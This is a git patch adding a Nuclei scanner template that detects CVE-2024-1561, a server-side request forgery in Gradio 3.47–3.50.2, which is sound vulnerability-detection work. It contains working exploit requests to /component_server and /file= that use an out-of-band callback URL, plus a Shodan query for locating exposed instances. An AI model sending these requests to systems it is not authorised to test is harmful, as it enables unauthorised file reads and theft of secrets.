From e83f7471c5c2d88723882f9892733c2f8e4e3829 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Sat, 15 Jun 2024 14:41:04 +0530 Subject: [PATCH] Create CVE-2024-1561-3x-ssrf.yaml (Gradio 3.47 - 3.50.2 - Server Side Request Forgery) --- http/cves/2024/CVE-2024-1561-3x-ssrf.yaml | 77 +++++++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 http/cves/2024/CVE-2024-1561-3x-ssrf.yaml diff --git a/http/cves/2024/CVE-2024-1561-3x-ssrf.yaml b/http/cves/2024/CVE-2024-1561-3x-ssrf.yaml new file mode 100644 index 0000000000..0a50b5edcf --- /dev/null +++ b/http/cves/2024/CVE-2024-1561-3x-ssrf.yaml @@ -0,0 +1,77 @@ +id: CVE-2024-1561-3x-ssrf + +info: + name: Gradio 3.47 - 3.50.2 - Server Side Request Forgery + author: nvn1729 + severity: high + description: | + Gradio Full Read SSRF when auth is not enabled, this version should work for versions 3.47 - 3.50.2. + reference: + - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2 + - https://www.horizon3.ai/attack-research/disclosures/exploiting-file-read-vulnerabilities-in-gradio-to-steal-secrets-from-hugging-face-spaces/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + epss-percentile: 0.36659 + metadata: + verified: true + max-request: 2 + shodan-query: html:"__gradio_mode__" + tags: cve,cve2024,unauth,gradio,ssrf + +http: + - raw: + - | + POST /component_server HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"component_id": "{{fuzz_component_id}}", "data": "http://{{interactsh-url}}", "fn_name": "download_temp_copy_if_needed", "session_hash": "aaaaaaaaaaa"} + + - | + GET /file={{download_path}} HTTP/1.1 + Host: {{Hostname}} + + extractors: + - type: regex + part: body + name: download_path + internal: true + group: 1 + regex: + - "\"?([^\"]+)" + + payloads: + fuzz_component_id: + - 1 + - 2 + - 3 + - 4 + - 5 + - 6 + - 7 + - 8 + - 9 + - 10 + - 11 + - 12 + - 13 + - 14 + - 15 + - 16 + - 17 + - 18 + - 19 + - 20 + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - [a-z0-9]+ + + - type: status + status: + - 200